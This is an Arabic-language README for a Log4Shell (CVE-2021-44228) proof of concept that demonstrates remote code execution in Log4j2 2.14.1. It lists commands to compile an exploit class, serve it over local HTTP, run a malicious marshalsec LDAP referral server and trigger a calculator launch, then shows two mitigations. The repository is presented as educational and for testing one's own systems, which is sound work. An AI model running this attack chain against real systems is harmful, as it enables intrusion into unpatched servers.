
CVE-2021-44228 (Log4Shell) إثبات المفهوم

لا توفر ميزات JNDI المستخدمة في التهيئة ورسائل السجل والمعلمات في Apache Log4j2 <=2.14.1 الحماية ضد LDAP الذي يتحكم به المهاجم ونقاط نهاية JNDI الأخرى ذات الصلة. يمكن للمهاجم الذي يتحكم في رسائل السجل أو معلمات رسائل السجل تنفيذ كود عشوائي يتم تحميله من خوادم LDAP عند تمكين استبدال البحث عن الرسالة.
لمساعدة العملاء في فهم كيفية عمل هذا الثغرة، أعددنا هذا المستودع مع إثبات مفهوم بسيط وفعال.
يجب تثبيت محليًا:
حاليًا، يقوم الكود العشوائي بتشغيل تطبيق الآلة الحاسبة على macOS أو Windows، لذلك يدعم إثبات المفهوم هذين النظامين التشغيليين فقط.
جميع المعلومات والكود مقدمة لأغراض تعليمية فقط و/أو لاختبار أنظمتك الخاصة لهذه الثغرة.
يشبه إثبات المفهوم هذا ما هو موصوف في الصورة أدناه (الإسناد GovCERT.ch)، باستثناء الخادم الضعيف الذي هو مجرد صف Java بسيط من أجل البساطة. من المهم فهم أن هذه الثغرة قد يتم تشغيلها بطرق مختلفة، وما هو موصوف أدناه هو مجرد واحدة منها.

قم باستنساخ هذا المستودع
terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git
قم بتجميع الاستغلال (باستخدام JDK 11)
terminal1 $ javac Exploit.java
قم بتشغيل خادم HTTP لخدمة الاستغلال
terminal1 $ python -m SimpleHTTPServer 8888 --directory .
قم بتشغيل LDAPRefServer الخبيث (بفضل https://github.com/mbechler/marshalsec)
terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
قم بتشغيل التطبيق المعيب (الذي يحتوي على log4j 2.14.1)
terminal3 $ mvn package && mvn exec:exec
إذا سارت الأمور على ما يرام، يجب أن يظهر تطبيق الآلة الحاسبة (تنفيذ كود عشوائي)

terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
terminal3 $ mvn package && mvn exec:exec
في هذه الحالة، يجب ألا يظهر تطبيق الآلة الحاسبة بعد الآن
terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true
في هذه الحالة، يجب ألا يظهر تطبيق الآلة الحاسبة بعد الآن